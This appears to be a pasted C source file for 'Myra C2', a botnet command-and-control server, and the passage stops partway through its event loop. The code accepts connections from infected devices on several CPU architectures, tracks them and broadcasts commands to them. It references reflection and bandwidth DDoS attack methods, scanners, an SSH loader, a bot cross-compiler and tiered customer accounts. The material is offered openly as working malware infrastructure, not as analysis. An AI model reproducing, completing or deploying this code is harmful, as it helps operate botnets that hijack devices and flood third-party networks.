· 5 years ago · Aug 02, 2020, 05:34 AM
1
2//╔══════════════════════════════════════════════════════╗
3// Base Includes
4#include <stdio.h> // Header Files [Interpreted Modules]
5#include <stdlib.h> // Header Files [Interpreted Modules]
6#include <string.h> // Header Files [Interpreted Modules]
7#include <sys/types.h> // Header Files [Interpreted Modules]
8#include <sys/socket.h> // Header Files [Interpreted Modules]
9#include <netdb.h> // Header Files [Interpreted Modules]
10#include <unistd.h> // Header Files [Interpreted Modules]
11#include <time.h> // Header Files [Interpreted Modules]
12#include <fcntl.h> // Header Files [Interpreted Modules]
13#include <sys/epoll.h> // Header Files [Interpreted Modules]
14#include <errno.h> // Header Files [Interpreted Modules]
15#include <pthread.h> // Header Files [Interpreted Modules]
16#include <signal.h> // Header Files [Interpreted Modules]
17#include <ctype.h> // Header Files [Interpreted Modules]
18#include <arpa/inet.h> // Header Files [Interpreted Modules]
19#include <stdbool.h> // Header Files [Interpreted Modules]
20//╚══════════════════════════════════════════════════════╝
21//╔══════════════════════════════════════════════════════╗
22// Tool Includes
23#include "resolver.h" // Header Files [Additional Interpreted Module]
24
25#include "curl/curl.h"
26#include "jsmn/jsmn.h"
27//╚══════════════════════════════════════════════════════╝
28//╔══════════════════════════════════════════════════════╗
29#define max_file_descriptor_value 1000000 // Maximum File Descriptor Value Statement [1000000]
30//╚══════════════════════════════════════════════════════╝
31//╔══════════════════════════════════════════════════════╗
32// Color Codes #Custom
33#define Myra_I_Dark_Highlights = "\e[38;5;134m" // ANSI Colours
34#define Myra_I_Text = "\e[38;5;168m" // ANSI Colours
35#define Myra_I_Border = "\e[38;5;225m" // ANSI Colours
36#define Arcues_I_Bright_Highlights = "\e[38;5;134m" // ANSI Colours
37//╚══════════════════════════════════════════════════════╝
38//╔══════════════════════════════════════════════════════╗
39// Project Information
40#define Myra_I_Project "Myra C2 Source" // Defining File Principals
41#define Myra_I_Developer_List ["Zach"] // Defining File Principals
42#define Myra_I_Substrate_Version "Myra I - Substrate Data System v4"
43#define Myra_I_Version_Number = "Myra I Beta Version 10"
44//╚══════════════════════════════════════════════════════╝
45//╔══════════════════════════════════════════════════════╗
46#define Myra_I_User_Tool_I = "adduser" // Defining Tool Principals
47#define Myra_I_User_Tool_II = "domainresolver" // Defining Tool Principals
48#define Myra_I_User_Tool_III = "portscanner" // Defining Tool Principals
49#define Myra_I_User_Tool_VI = "IPGeoLocation" // Defining Tool Principals
50//╚══════════════════════════════════════════════════════╝
51//╔══════════════════════════════════════════════════════╗
52// File paths
53#define Myra_I_User_File "myra.txt" // Defining File Paths
54#define Myra_I_IPHM_Reflection_Scanners "amp/scanners/" // Defining File Paths
55#define Myra_I_IPHM_Reflection_Attack_Methods "amp/methods/Reflection/" // Defining File Paths
56#define Myra_I_IPHM_Bandwidth_Attack_Methods "amp/methods/Bandwidth/" // Defining File Paths
57#define Myra_I_IPHM_Reflection_Lists "amp/lists" // Defining File Paths
58//╚══════════════════════════════════════════════════════╝
59//╔══════════════════════════════════════════════════════╗
60// External /Scripts/ || /tools/
61#define Myra_I_IPHM_Attack_Process_Killer = "c2/scripts/IPHM_Attack_Process_Killer.py" // Defining External Tool Paths
62#define Myra_I_IPHM_Scanner_Process_Killer = "c2/scripts/IPHM_Scanner_Process_Killer.py" // Defining External Tool Paths
63#define Myra_I_Process_Killer_Installation = "c2/scripts/wget.py" // Defining External Tool Paths
64#define Myra_I_IPHM_Installation_Script = "c2/IPHM_Installation.py" // Defining External Tool Paths
65#define Myra_I_IPLookup_API = "var/www/html/iplookup.php" // Defining External Tool Paths
66#define Myra_I_IPBlock_SSH_Scanner = "c2/scripts/scan.py" // Defining External Tool Paths
67#define Myra_I_SSH_Loader = "c2/scripts/sshloader.py" // Defining External Tool Paths
68#define Myra_I_Bot_Cross_Compiler = "bot/Myra.py" // Defining External Tool Paths
69//╚══════════════════════════════════════════════════════╝
70//╔══════════════════════════════════════════════════════╗
71// Access Types (Accounts):
72#define Myra_I_Account_Normal = "normal" // Defining Myra Account Identification Types
73#define Myra_I_Account_Admin = "Admin" // Defining Myra Account Identification Types
74#define Myra_I_Account_VIP = "vip" // Defining Myra Account Identification Types
75#define Myra_I_Account_Owner = "owner" // Defining Myra Account Identification Types
76
77int read_file_contents(const char *filename, char *buf) {
78 long length;
79 FILE * f = fopen (filename, "rb");
80
81 if (f)
82 {
83 fseek (f, 0, SEEK_END);
84 length = ftell (f);
85 fseek (f, 0, SEEK_SET);
86 fread (buf, 1, length, f);
87 fclose (f);
88
89 return 0;
90 } else {
91 perror("fopen failed: ");
92 return -1;
93 }
94}
95
96// Chase's sexy GeoIP stuff
97/**
98 * GeoIPInfo represents the data returned from an ip-api.com query
99 */
100typedef struct GeoIPInfo {
101 const char *status;
102 const char *message;
103 const char *continent;
104 const char *continent_code;
105 const char *country;
106 const char *country_code;
107 const char *region;
108 const char *region_name;
109 const char *city;
110 const char *district;
111 const char *zip;
112 const char *lat;
113 const char *lon;
114 const char *timezone;
115 const char *currency;
116 const char *isp;
117 const char *org;
118 const char *as;
119 const char *as_name;
120 const char *reverse;
121 bool mobile;
122 bool proxy;
123 const char *query;
124
125} GeoIPInfo;
126
127static int jsoneq(const char *json, jsmntok_t *tok, const char *s) {
128 if (tok->type == JSMN_STRING && (int) strlen(s) == tok->end - tok->start &&
129 strncmp(json + tok->start, s, tok->end - tok->start) == 0) {
130 return 0;
131 }
132 return -1;
133}
134
135typedef struct string {
136 char *ptr;
137 size_t len;
138} string;
139
140void init_string(string *s) {
141 s->len = 0;
142 s->ptr = malloc(s->len + 1);
143 if (s->ptr == NULL) {
144 fprintf(stderr, "malloc() failed\n");
145 exit(EXIT_FAILURE);
146 }
147 s->ptr[0] = '\0';
148}
149
150size_t writefunc(void *ptr, size_t size, size_t nmemb, string *s) {
151 size_t new_len = s->len + size * nmemb;
152 s->ptr = realloc(s->ptr, new_len + 1);
153 if (s->ptr == NULL) {
154 fprintf(stderr, "realloc() failed\n");
155 exit(EXIT_FAILURE);
156 }
157 memcpy(s->ptr + s->len, ptr, size * nmemb);
158 s->ptr[new_len] = '\0';
159 s->len = new_len;
160
161 return size * nmemb;
162}
163
164/**
165 * Returns the geo IP information for an IP address
166 *
167 * @param ip_address The IP address to get the information of
168 * @return GeoIPInfo
169 */
170GeoIPInfo ip_info(const char *ip_address) {
171 // Make sure the IP address actually confines to the size restraints of one to prevent buffer overflows
172
173 CURL *curl = curl_easy_init();
174 GeoIPInfo info;
175
176 if (!curl) {
177 fprintf(stderr, "Could not acquire a cURL handle\n");
178 return info;
179 }
180
181 string response;
182 init_string(&response);
183
184 char url[78]; // The base URL is 39 characters, and the maximum IP address length is 39 characters for IPv6
185 strcpy(url, "http://ip-api.com/json/");
186 strcat(url, ip_address);
187 strcat(url, "?fields=16515071");
188 curl_easy_setopt(curl, CURLOPT_URL, url);
189 curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writefunc);
190 curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
191
192 CURLcode res = curl_easy_perform(curl);
193 if (res != CURLE_OK) {
194 fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
195 return info;
196 }
197
198 curl_easy_cleanup(curl); // Always cleanup
199
200 jsmn_parser json_parser;
201 jsmntok_t token_buffer[128]; // We expect no more than 128 JSON tokens
202
203 jsmn_init(&json_parser);
204 int r = jsmn_parse(&json_parser, response.ptr, strlen(response.ptr), token_buffer,
205 sizeof(token_buffer) / sizeof(token_buffer[0]));
206 if (r < 0) {
207 printf("Failed to parse JSON: %d\n", r);
208 return info;
209 }
210
211 if (r < 1 || token_buffer[0].type != JSMN_OBJECT) {
212 printf("Object expected\n");
213 return info;
214 }
215
216 // Loop over all keys of the root object
217 for (int i = 1; i < r; i++) {
218 if (jsoneq(response.ptr, &token_buffer[i], "status") == 0) {
219 info.status = strndup(response.ptr + token_buffer[i + 1].start,
220 token_buffer[i + 1].end - token_buffer[i + 1].start);
221 i++;
222 }
223 if (jsoneq(response.ptr, &token_buffer[i], "message") == 0) {
224 info.message = strndup(response.ptr + token_buffer[i + 1].start,
225 token_buffer[i + 1].end - token_buffer[i + 1].start);
226 i++;
227 } else if (jsoneq(response.ptr, &token_buffer[i], "continent") == 0) {
228 info.continent = strndup(response.ptr + token_buffer[i + 1].start,
229 token_buffer[i + 1].end - token_buffer[i + 1].start);
230 i++;
231 } else if (jsoneq(response.ptr, &token_buffer[i], "continentCode") == 0) {
232 info.continent_code = strndup(response.ptr + token_buffer[i + 1].start,
233 token_buffer[i + 1].end - token_buffer[i + 1].start);
234 i++;
235 } else if (jsoneq(response.ptr, &token_buffer[i], "country") == 0) {
236 info.country = strndup(response.ptr + token_buffer[i + 1].start,
237 token_buffer[i + 1].end - token_buffer[i + 1].start);
238 i++;
239 } else if (jsoneq(response.ptr, &token_buffer[i], "countryCode") == 0) {
240 info.country_code = strndup(response.ptr + token_buffer[i + 1].start,
241 token_buffer[i + 1].end - token_buffer[i + 1].start);
242 i++;
243 } else if (jsoneq(response.ptr, &token_buffer[i], "region") == 0) {
244 info.region = strndup(response.ptr + token_buffer[i + 1].start,
245 token_buffer[i + 1].end - token_buffer[i + 1].start);
246 i++;
247 } else if (jsoneq(response.ptr, &token_buffer[i], "regionName") == 0) {
248 info.region_name = strndup(response.ptr + token_buffer[i + 1].start,
249 token_buffer[i + 1].end - token_buffer[i + 1].start);
250 i++;
251 } else if (jsoneq(response.ptr, &token_buffer[i], "city") == 0) {
252 info.city = strndup(response.ptr + token_buffer[i + 1].start,
253 token_buffer[i + 1].end - token_buffer[i + 1].start);
254 i++;
255 } else if (jsoneq(response.ptr, &token_buffer[i], "district") == 0) {
256 info.district = strndup(response.ptr + token_buffer[i + 1].start,
257 token_buffer[i + 1].end - token_buffer[i + 1].start);
258 i++;
259 } else if (jsoneq(response.ptr, &token_buffer[i], "zip") == 0) {
260 info.zip = strndup(response.ptr + token_buffer[i + 1].start,
261 token_buffer[i + 1].end - token_buffer[i + 1].start);
262 i++;
263 } else if (jsoneq(response.ptr, &token_buffer[i], "lat") == 0) {
264 info.lat = strndup(response.ptr + token_buffer[i + 1].start,
265 token_buffer[i + 1].end - token_buffer[i + 1].start);
266 i++;
267 } else if (jsoneq(response.ptr, &token_buffer[i], "lon") == 0) {
268 info.lon = strndup(response.ptr + token_buffer[i + 1].start,
269 token_buffer[i + 1].end - token_buffer[i + 1].start);
270 i++;
271 } else if (jsoneq(response.ptr, &token_buffer[i], "timezone") == 0) {
272 info.timezone = strndup(response.ptr + token_buffer[i + 1].start,
273 token_buffer[i + 1].end - token_buffer[i + 1].start);
274 i++;
275 } else if (jsoneq(response.ptr, &token_buffer[i], "currency") == 0) {
276 info.currency = strndup(response.ptr + token_buffer[i + 1].start,
277 token_buffer[i + 1].end - token_buffer[i + 1].start);
278 i++;
279 } else if (jsoneq(response.ptr, &token_buffer[i], "isp") == 0) {
280 info.isp = strndup(response.ptr + token_buffer[i + 1].start,
281 token_buffer[i + 1].end - token_buffer[i + 1].start);
282 i++;
283 } else if (jsoneq(response.ptr, &token_buffer[i], "org") == 0) {
284 info.org = strndup(response.ptr + token_buffer[i + 1].start,
285 token_buffer[i + 1].end - token_buffer[i + 1].start);
286 i++;
287 } else if (jsoneq(response.ptr, &token_buffer[i], "as") == 0) {
288 info.as = strndup(response.ptr + token_buffer[i + 1].start,
289 token_buffer[i + 1].end - token_buffer[i + 1].start);
290 i++;
291 } else if (jsoneq(response.ptr, &token_buffer[i], "asname") == 0) {
292 info.as_name = strndup(response.ptr + token_buffer[i + 1].start,
293 token_buffer[i + 1].end - token_buffer[i + 1].start);
294 i++;
295 } else if (jsoneq(response.ptr, &token_buffer[i], "reverse") == 0) {
296 info.reverse = strndup(response.ptr + token_buffer[i + 1].start,
297 token_buffer[i + 1].end - token_buffer[i + 1].start);
298 i++;
299 } else if (jsoneq(response.ptr, &token_buffer[i], "mobile") == 0) {
300 const char *mobile = strndup(response.ptr + token_buffer[i + 1].start,
301 token_buffer[i + 1].end - token_buffer[i + 1].start);
302 info.mobile = (mobile == "true");
303 i++;
304 } else if (jsoneq(response.ptr, &token_buffer[i], "proxy") == 0) {
305 const char *proxy = strndup(response.ptr + token_buffer[i + 1].start,
306 token_buffer[i + 1].end - token_buffer[i + 1].start);
307 info.proxy = (proxy == "true");
308 i++;
309 } else if (jsoneq(response.ptr, &token_buffer[i], "query") == 0) {
310 info.query = strndup(response.ptr + token_buffer[i + 1].start,
311 token_buffer[i + 1].end - token_buffer[i + 1].start);
312 i++;
313 } /*else {
314 printf("Unexpected key: %.*s\n", token_buffer[i].end - token_buffer[i].start,
315 response.ptr + token_buffer[i].start);
316 }*/
317
318 }
319 return info;
320}
321
322
323//╚══════════════════════════════════════════════════════╝
324struct account // Create Account Struct.
325{
326 char username[200]; // username
327 char password[200]; // password
328 char identification_type [200]; // Admin / normal [Admin/vip/normal]
329};
330static struct account accounts[500];
331
332struct myra_substrate_device_data_v4 { // Create Client Data [Telnet] Struct.
333 uint32_t internet_protocol;
334 char x86; // Char Every Line For Output Communication
335 char mips; // Char Every Line For Output Communication
336 char arm; // Char Every Line For Output Communication
337 char spc; // Char Every Line For Output Communication
338 char ppc; // Char Every Line For Output Communication
339 char sh4; // Char Every Line For Output Communication
340 char transmitted_successfully; // Char Every Line For Output Communication
341} clients[max_file_descriptor_value]; // Set 'CLient' File Descriptor Value As Stated
342
343struct myra_substrate_telnet_data_v4 { // Create Telnet Data Struct.
344 uint32_t internet_protocol; // Unsigned_Int 32 [Internet Protocol Output]
345 int transmitted_successfully; // Use Integer To Display 'Connnected' Value
346} managements[max_file_descriptor_value]; // Set 'CLient' File Descriptor Value As Stated
347
348static volatile FILE *file_filedescription_value; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
349static volatile int bindinginterpreter = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
350static volatile int listeninginterpretation = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
351static volatile int successful_transmission = 0; // Static Volatile [Setting Each Integer For EPOLL and Listen FD]
352
353int buffer_size_string_compare(unsigned char *buffer, int bufferSize, int fd) // Create Integers For Buffer Size 'Unsigned_Char'
354{
355 int total_output = 0, got = 1; // 0 = Deny / 1 = Accept Output
356 while (got == 1 && total_output < bufferSize && *(buffer + total_output - 1) != '\n') { got = read(fd, buffer + total_output, 1); total_output++; } // If Accepted [got == 1] - Display Output, Break line '\n'
357 return got; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
358}
359void trim_removev2(char *target_string) // Void To Char String, Do Not Output To Original Function Caller
360{
361 int trim_integer; // Output Statement Result Integers
362 int start_integer = 0; // Output Statement Result Integers
363 int finish_integer = strlen(target_string) - 1; // Output Statement Result Integers
364 while (isspace(target_string[start_integer])) start_integer++; // Use 'While Loop' To Begin Function Call [Any Subzero Value] - [Calculus Is Irrelevant] - Check If Passed Character Is In 'White-Space'
365 while ((finish_integer >= start_integer) && isspace(target_string[finish_integer])) finish_integer--; // Use 'While Loop' To Begin Function Call [Any Subzero Value] - [Calculus Is Irrelevant] - Check If Passed Character Is In 'White-Space'
366 for (trim_integer = start_integer; trim_integer <= finish_integer; trim_integer++) target_string[trim_integer - start_integer] = target_string[trim_integer]; // 'I' Value - (trim_integer = start_integer; trim_integer <= finish_integer; trim_integer++)
367 target_string[trim_integer - start_integer] = '\0'; // Start String Of 'I' Value
368}
369
370static int socket_interpretation_block_v1(int save_file_content) // Create Static Integer [Static Integer, Will Allow Concurrent Bind Socket]
371{
372 int flag_network_integer, s; // Set Flag Integer
373 flag_network_integer = fcntl(save_file_content, F_GETFL, 0); // Set Flag Error Handle Output
374 if (flag_network_integer == -1) // Set Flag Value [-1]
375 {
376 perror("myra_non_block_socket : failed"); // Error Handling Output
377 return -1; // Error Value == -1
378 }
379 flag_network_integer |= O_NONBLOCK; // Set_Flag==NONBLOCK
380 s = fcntl(save_file_content, F_SETFL, flag_network_integer);
381 if (s == -1) // Error Value == -1
382 {
383 perror("myra_non_block_socket : failed"); // Error Handling Output
384 return -1; // Error Value == -1
385 }
386 return 0; // Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
387}
388/* struct addrinfo {
389 int ai_flags; | flag type set state | state -> in usage -- sockstream
390 int ai_family; | family type set state | state -> in usage -- sockstream
391 int ai_socktype; | socket type statement | state -> in usage -- sockstream
392 int ai_protocol; | protocol | state -> in usage -- sockstream
393 socklen_t ai_addrlen; | address length | state -> in usage -- sockstream
394 struct sockaddr *ai_addr; | address | state -> in usage -- sockstream
395 char *ai_canonname; | n/a | state -> not in usage
396 struct addrinfo *ai_next; | next | state -> not in usage
397*/
398static int socket_intepretation_modified(char *port) // Socket Bind Interpretation V [ Edited By Zach, Modified Header Address For Adjacent Binding and Listening]
399{
400 struct addrinfo hints; // Create Struct. For AddressInformation, Create 's' As Integer
401 struct addrinfo *output_result_integer, *rp; // Create Struct. For AddressInformation, Create 's' As Integer
402 int s, save_file_content; // Create Struct. For AddressInformation, Create 's' As Integer
403 memset(&hints, 0, sizeof(struct addrinfo)); // Fill Data Block Using 'memset'
404 hints.ai_family = AF_UNSPEC; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
405 hints.ai_socktype = SOCK_STREAM; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
406 hints.ai_flags = AI_PASSIVE; // Socket Properties - [SOCKSTREAM, AI, UNSPEC]
407 s = getaddrinfo(NULL, port, &hints, &output_result_integer); // Defining 's' Value
408 if (s != 0) // Call Function If 's' == 0
409 {
410 fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s)); // Error Handling, 'Getting Address Information'
411 return -1; // Error Value == -1
412 }
413 for (rp = output_result_integer; rp != NULL; rp = rp->ai_next)
414 {
415 save_file_content = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); // Socket Bind Interpretation [ Modified To Be Created As One] -- [MORE STABLE]
416 if (save_file_content == -1) continue; // Call Function If save_file_content == -1
417 int yes = 1; // Yes == 1
418 if (setsockopt(save_file_content, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("myra_setsockopt : failed"); // Improved Sockopt Handling, Using SOL_SOCKET
419 s = bind(save_file_content, rp->ai_addr, rp->ai_addrlen); // Bind Everything Stated Above
420 if (s == 0) // Call Function If 's' == 0
421 {
422 break; // Terminate Loop Function, Continue Connection [Broadcast]
423 }
424 close(save_file_content); // Close Concurrent Function [save_file_content]
425 }
426 if (rp == NULL) // rp == NULL, No Available Integer [May Modify This and State 'NULL' as 0]
427 {
428 fprintf(stderr, "myra_socket_binding : failed - you may be using the same binding port as before.\n"); // Error Handling - Failed Socket Binding, This is Rare, Unless Same Output Port Is Used
429 return -1; // Error Value == -1
430 }
431 freeaddrinfo(output_result_integer); // Check Addresses That Have No Integer State Value '-1'
432 return save_file_content;// Return Statement Terminates The Execution Of a Function And Returns Control To The Calling Function
433}
434void myra_broadcast(char *output_message, int var, char *message_vector) // Broadcast The Following On Administator [Screen]
435{
436 int msg_manage_val = 1; // Send Management Value Statement. This Is Usually Set As '1'
437 if(strcmp(output_message, "SUCC") == 0) msg_manage_val = 0; // We Are Using 'SUCC/FUCC' V2. [Modified The General Network Threads, Should Stop The Source From Being Slow]
438 char *broadcast_data_psl = malloc(strlen(output_message) + 10); // Char Every Line For Output Communication
439 memset(broadcast_data_psl, 0, strlen(output_message) + 10); // Fill In Data Block Usinf Memset. [Add +10, To Concurrent Connection]
440 strcpy(broadcast_data_psl, output_message); // Strcpy Function Copies The String Pointed To By S2 Into The Object Pointed To By S1.
441 trim_removev2(broadcast_data_psl); // Trim : [broadcast_data_psl]
442 time_t systematic_time; // We Want To Display The Time
443 struct tm * arc_time_info; // Create Struct. For Time
444 time(&systematic_time); // Use 'Time' Module For 'systematic_time' prefix
445 arc_time_info = localtime(&systematic_time); // Show Time Info Using Local Time
446 char *local_time = asctime(arc_time_info); // Char Every Line For Output Communication
447 trim_removev2(local_time); // Trim : [local_time]
448 int trim_integer; // Output Statement Result Integers
449 for(trim_integer = 0; trim_integer < max_file_descriptor_value; trim_integer++) // Set I, With max_file_descriptor_value Value
450 {
451 if(trim_integer == var || (!clients[trim_integer].transmitted_successfully)) continue; // Show Clients Connected To Broadcast
452 if(msg_manage_val && managements[trim_integer].transmitted_successfully) // Send Management, To Show Value
453 {
454 send(trim_integer, "\x1b[1;35m", 9, MSG_NOSIGNAL); // Client Connected Output
455 send(trim_integer, message_vector, strlen(message_vector), MSG_NOSIGNAL); // Client Connected Output
456 send(trim_integer, ": ", 2, MSG_NOSIGNAL); // Client Connected Output
457 }
458 send(trim_integer, output_message, strlen(output_message), MSG_NOSIGNAL); // Client Connected Output
459 send(trim_integer, "\n", 1, MSG_NOSIGNAL); // Client Connected Output
460 }
461 free(broadcast_data_psl); // Release Function From [broadcast_data_psl]
462}
463void *epollEventLoop(void *useless) // Create Struct via EPOLL, Use Void Function To Call Event
464{
465 struct epoll_event event; // Create Struct via EPOLL, Use Void Function To Call Event
466 struct epoll_event *events; // Create Struct via EPOLL, Use Void Function To Call Event
467 int s; // Create Struct via EPOLL, Use Void Function To Call Event
468 events = calloc(max_file_descriptor_value, sizeof event); // Create Struct via EPOLL, Use Void Function To Call Event
469 while (1) // While == Wait 1 Second, This Is Stable
470 {
471 int n, trim_integer; // State 'trim_integer' And 'n'
472 n = epoll_wait(bindinginterpreter, events, max_file_descriptor_value, -1); // Set 'n' With max_file_descriptor_value
473 for (trim_integer = 0; trim_integer < n; trim_integer++) // 'n' && 'trim_integer' comp
474 {
475 if ((events[trim_integer].events & EPOLLERR) || (events[trim_integer].events & EPOLLHUP) || (!(events[trim_integer].events & EPOLLIN))) // Show Device Input Via EPOLL
476 {
477 clients[events[trim_integer].data.fd].transmitted_successfully = 0; // Our Devices -- More To Be Added -- Events Created Here
478 clients[events[trim_integer].data.fd].arm = 0; // Our Devices -- More To Be Added -- Events Created Here
479 clients[events[trim_integer].data.fd].mips = 0; // Our Devices -- More To Be Added -- Events Created Here
480 clients[events[trim_integer].data.fd].x86 = 0; // Our Devices -- More To Be Added -- Events Created Here
481 clients[events[trim_integer].data.fd].spc = 0; // Our Devices -- More To Be Added -- Events Created Here
482 clients[events[trim_integer].data.fd].ppc = 0; // Our Devices -- More To Be Added -- Events Created Here
483 clients[events[trim_integer].data.fd].sh4 = 0; // Our Devices -- More To Be Added -- Events Created Here
484 close(events[trim_integer].data.fd); // Close Function
485 continue; // Continue
486 }
487 else if (listeninginterpretation == events[trim_integer].data.fd) // Listen FD - For Events.
488 {
489 while (1) // While == Wait 1 Second, This Is Stable
490 {
491 struct sockaddr in_addr; // Create Struct For Sockaddress
492 socklen_t in_len; // SOCK DEFINE
493 int infd, ipIndex; // SOCK DEFINE
494
495 in_len = sizeof in_addr; // sock define
496 infd = accept(listeninginterpretation, &in_addr, &in_len); // sock define
497 if (infd == -1) // sock define
498 {
499 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; // Error Validation
500 else // Else
501 {
502 perror("myra_listening_interpretation : acceptance error"); // accept error handling
503 break; // Terminate Process
504 }
505 }
506
507 clients[infd].internet_protocol = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; // Show Clients Connected To Broadcast
508 int dup = 0; // Value The DUPLICATES
509 for(ipIndex = 0; ipIndex < max_file_descriptor_value; ipIndex++) { // Create Index, IP
510 if(!clients[ipIndex].transmitted_successfully || ipIndex == infd) continue; // Check Connected
511 if(clients[ipIndex].internet_protocol == clients[infd].internet_protocol) { // Check Connected, IP
512 dup = 1; // Dup Value == 1 [Faster]
513 break;
514 }}
515 s = socket_interpretation_block_v1(infd);
516 if (s == -1) { close(infd); break; }
517
518 event.data.fd = infd; // Create Struct via EPOLL, Use Void Function To Call Event
519 event.events = EPOLLIN | EPOLLET; // Create Struct via EPOLL, Use Void Function To Call Event
520 s = epoll_ctl(bindinginterpreter, EPOLL_CTL_ADD, infd, &event); // Create Struct via EPOLL, Use Void Function To Call Event
521 if (s == -1) // 's' Value == -1
522 {
523 perror("myra_epoll_ctl : failed"); // Epollctl Error Handling
524 close(infd); // Kill infd
525 break;
526 }
527
528 clients[infd].transmitted_successfully = 1; // I'm Getting Tired Of This..
529 send(infd, "!* Myra ON\n", 9, MSG_NOSIGNAL); // Send infd, Using Command Via Client.
530
531 }
532 continue; // Keep Going,...
533 }
534 else // What Else.. Smh...
535 {
536 int clear_myra_broadcast = events[trim_integer].data.fd; // Unecessary To Comment, This Is Struct'in and Stating Integer.
537 struct myra_substrate_device_data_v4 *client = &(clients[clear_myra_broadcast]); // Unecessary To Comment, This Is Struct'in and Stating Integer.
538 int done = 0; // Unecessary To Comment, This Is Struct'in and Stating Integer.
539 client->transmitted_successfully = 1; // Our Devices -- More To Be Added -- Events Created Here
540 client->arm = 0; // Our Devices -- More To Be Added -- Events Created Here
541 client->mips = 0; // Our Devices -- More To Be Added -- Events Created Here
542 client->sh4 = 0; // Our Devices -- More To Be Added -- Events Created Here
543 client->x86 = 0; // Our Devices -- More To Be Added -- Events Created Here
544 client->spc = 0; // Our Devices -- More To Be Added -- Events Created Here
545 client->ppc = 0; // Our Devices -- More To Be Added -- Events Created Here
546 while (1) // While == Wait 1 Second, This Is Stable
547 {
548 ssize_t count; // State, SSize Count
549 char myra_buffer_size[3000]; // Char Buffer To [3000] - Although, This May Change As We Want A EXTREMELY Stable Client, Testing In Progress.
550 memset(myra_buffer_size, 0, sizeof myra_buffer_size); // Fill In Data-Block, This Can Also Be Stated As The Buffer Off-set [0xA - 0xB]
551
552 while (memset(myra_buffer_size, 0, sizeof myra_buffer_size) && (count = buffer_size_string_compare(myra_buffer_size, sizeof myra_buffer_size, clear_myra_broadcast)) > 0) // Memset, Using The Stated Buffer-Size Value.
553 {
554 if (strstr(myra_buffer_size, "\n") == NULL) { done = 1; break; } // We Shall Break The Line, Stating This As Null.
555 trim_removev2(myra_buffer_size); // Trim Buffer.
556 if (strcmp(myra_buffer_size, "SUCC") == 0) { // Ping Is The Input Connection, Waiting For It's Response. This Has To Be Allocated.
557 if (send(clear_myra_broadcast, "FUCC\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // FUCC, Is The Response From Ping, This is The Allocation.
558 continue;
559 }
560 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mx86_64\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
561 {
562 client->x86 = 1; // We are Loading All Of Our Devices, On The Admin Screen.
563 }
564 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mx86_32\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
565 {
566 client->x86 = 1; // We are Loading All Of Our Devices, On The Admin Screen.
567 }
568 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mMIPS\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
569 {
570 client->mips = 1; // We are Loading All Of Our Devices, On The Admin Screen.
571 }
572 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mMPSL\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
573 {
574 client->mips = 1; // We are Loading All Of Our Devices, On The Admin Screen.
575 }
576 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mARM4\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
577 {
578 client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
579 }
580 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mARM5\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
581 {
582 client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
583 }
584 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mARM6\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
585 {
586 client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
587 }
588 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mARM7\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
589 {
590 client->arm = 1; // We are Loading All Of Our Devices, On The Admin Screen.
591 }
592 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mPPC\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
593 {
594 client->ppc = 1; // We are Loading All Of Our Devices, On The Admin Screen.
595 }
596 if(strstr(myra_buffer_size, "\e[1;37m[\e[0;31mMyra\e[1;37m] Device:[\e[0;31mSPC\e[1;37m] Loaded!") == myra_buffer_size) // We are Loading All Of Our Devices, On The Admin Screen.
597 {
598 client->spc = 1; // We are Loading All Of Our Devices, On The Admin Screen.
599 }
600 if(strcmp(myra_buffer_size, "SUCC") == 0) { // Input Connection, Response Is Below
601 if(send(clear_myra_broadcast, "FUCC\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // Response Line, SUCC/FUCC Uses Strcmp
602 continue; }
603 if(strcmp(myra_buffer_size, "FUCC") == 0) { // We use 'strcmp' To Compare Both Of Our Input And Output - [Response] Strings
604 continue; } // This Is Then Used, To Output A Valid Integer
